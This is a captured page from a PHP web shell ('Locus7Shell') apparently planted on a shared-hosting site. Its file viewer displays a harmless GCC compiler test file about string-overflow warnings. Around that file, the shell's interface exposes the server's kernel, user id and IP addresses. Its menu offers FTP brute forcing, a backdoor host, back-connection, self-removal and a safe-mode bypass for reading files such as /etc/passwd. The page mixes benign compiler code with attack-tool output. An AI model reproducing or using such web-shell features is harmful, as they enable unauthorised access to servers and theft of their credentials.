Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wstringop-overflow-57.c (1.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* Verify that an anti-range ~[A, B] with small positive A and B
   is handled correctly and doesn't trigger warnings.
   { dg-do compile }
   { dg-options "-O2 -Wall" }
   { dg-require-effective-target alloca } */

typedef __typeof__ (sizeof 0) size_t;

int f (void*, size_t);
int g (void*);

// Test case distilled from gcc/cp/semantics.c

int omp_reduction_id (int i, int j, const char *mm)
{
  const char *p = 0;
  const char *m = 0;

  switch (i)
    {
    case 1:
      p = "min";
      break;
    case 2:
      p = "max";
      break;
    default:
      break;
    }

  if (j)
    m = mm;

  const char prefix[] = "omp declare reduction ";
  size_t lenp = sizeof (prefix);

  if (__builtin_strncmp (p, prefix, lenp - 1) == 0)
    lenp = 1;

  size_t len = __builtin_strlen (p);
  size_t lenm = m ? __builtin_strlen (m) + 1 : 0;
  char *name = ((char *) __builtin_alloca(lenp + len + lenm));

  if (lenp > 1)
    __builtin_memcpy (name, prefix, lenp - 1);

  __builtin_memcpy (name + lenp - 1, p, len + 1);
  if (m)
    {
      name[lenp + len - 1] = '~';
      __builtin_memcpy (name + lenp + len, m, lenm);
    }
  return (__builtin_constant_p (name)
      ? f (name, __builtin_strlen (name)) : g (name));
}

// Test case derived from gcc/d/dmd/root/filename.c.

const char *ext (const char *str)
{
  size_t len = __builtin_strlen(str);

  const char *e = str + len;
  for (;;)
    {
      switch (*e)
        {
    case '.': return e + 1;
    case '/': break;
    default:
      if (e == str)
        break;
      e--;
      continue;
        }
      return 0;
    }
}

const char *removeExt (const char *str)
{
  const char *e = ext (str);
  if (e)
    {
      size_t len = (e - str) - 1;
      char *n = (char *)__builtin_malloc (len + 1);
      __builtin_memcpy(n, str, len);
      n[len] = 0;
      return n;
    }
  return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.006 ]--